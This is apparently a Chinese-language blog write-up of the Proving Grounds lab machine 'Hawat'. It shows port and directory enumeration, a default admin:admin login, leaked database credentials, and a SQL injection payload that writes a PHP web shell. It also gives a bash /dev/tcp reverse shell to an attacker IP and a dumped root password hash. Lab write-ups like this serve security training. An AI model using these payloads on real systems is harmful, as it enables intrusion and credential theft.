Proving Grounds Practice : Hawat Walkthrough

 Proving Grounds Practice : Hawat Walkthrough


Foothold :

  • 這一台靶機要應用的地方很多,共有三個網站 17445、30445 & 50080
  • 一開始透過較大字典檔在 50080 發現 /cloud 路徑,使用常用帳號密碼 admin:admin 登入 CMS
  • 枚舉獲得一個 ZIP 檔,發現 SQL Injection 的路徑與字串(Query String)
  • 在 17445 確認可以注入,注入在 30445 枚舉到的路徑 /srv/http
  • 並使用 UNION Select 語法注入成功
  • 接著在 30445 存取注入的 cmd.php 網頁,執行 bash 指令獲取 Reverse Shell

PE :

  • 不用 PE,拿到 Reverse Shell 即為 root


Rustscan,└─$ rustscan -a 192.168.223.147 --scripts none --ulimit 5000 | tee rustscan



snmp check,└─$ sudo nmap -sU -p 161 192.168.223.147 | tee snmp



nmap

22/tcp    open  ssh     OpenSSH 8.4 (protocol 2.0)

17445/tcp open  unknown

30455/tcp open  http    nginx 1.18.0

50080/tcp open  http    Apache httpd 2.4.46 ((Unix) PHP/7.4.15)




17445 /



17445 /robots.txt



註冊與登入



建立 Issues,使用 {{7*7}} 沒有運算結果



gobuster 17445 /




30455 /




30455 /robots.txt



gobuster 30455 /



gobuster 30455 /4


30455 /phpinfo.php 得知 Web 根目錄路徑放在 /srv/http



50080 /



50080 /robots.txt



gobuster 50080 /



50080 /4



50080 /images



至此沒有發現可以利用的地方,只剩下網站的表格送出測試 SQL Injection

這個先保留,改使用大一點的字典擋 big.txt 再掃描一次試試看

結果在 50080 Port 掃到新的路徑如下



50080 /cloud



先測試幾組常用的帳號密碼組合,發現 admin:admin 可以登入



檔案管理發現一個 issuetracker.zip 檔案



解壓縮後在這個路徑 /issuetracker/src/main/java/com/issue/tracker/issues

有好幾個 .java 檔案,其中一個名稱是 IssueController.java



發現一串帳號密碼 issue_user:ManagementInsideOld797



然後再下面一段發現疑似 SQL Injection 的字串

String query = "SELECT message FROM issue WHERE priority='"+priority+"'";

路徑是 /issue/checkByPriority



回到 17445 輸入改網址試試看,收到 HTTP 405

但有顯示 Method not Allowed,網頁是用 GET 執行



送到 Burp Suite 改 POST 試試看

沒有顯示 Method not Allowed 改成 HTTP 400 顯示 Bad Request



查看 code 並帶入 Query String "?priority=Normal" 可以正常顯示了



從 phpinfo.php 得知 root 使用的路徑是 /srv/http

注入 UNION Select 試試看

語法 : ' union select '<?php echo system($_REQUEST["cmd"]); ?>' into outfile '/srv/http/cmd.php' #

URL encode : %27%20union%20select%20%27%3C%3Fphp%20echo%20system%28%24_REQUEST%5B%22cmd%22%5D%29%3B%20%3F%3E%27%20into%20outfile%20%27%2Fsrv%2Fhttp%2Fcmd.php%27%20%23

看來 HTTP 200 OK



存取http://192.168.223.147:30455/cmd.php?cmd=whoami 試試看,成功獲得 whoami



使用 bash -c "bash -i >& /dev/tcp/192.168.45.168/30455 0>&1"

URL Encode : bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.168%2F30455%200%3E%261%22

192.168.223.147:30455/cmd.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.168%2F30455%200%3E%261%22

直接拿到 Reverse Shell 了,whoami 即是 root



補充說明 :

利用課程中學到的注入標準語法也是有用的

' union select '<?php system($_GET["cmd"]); ?>' into outfile '/srv/http/cmd.php' -- -




直接 cat /root/proof.txt 就結束了,連 Reverse Shell 其實都可以不用拿



另外 cat /etc/shadow 可以看到 root 的密碼

root:$6$LRw43gk0AlKusVST$9XxnQaSlM4FWMQCLbNjEOg.hmDZY4wQPuLx0fFkYEtMnctU3L5ZkNPmmJeELqaWJYICXTKvwmS59R.AdvMHn//:18668:::::: bin:!*:18662:::::: 




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)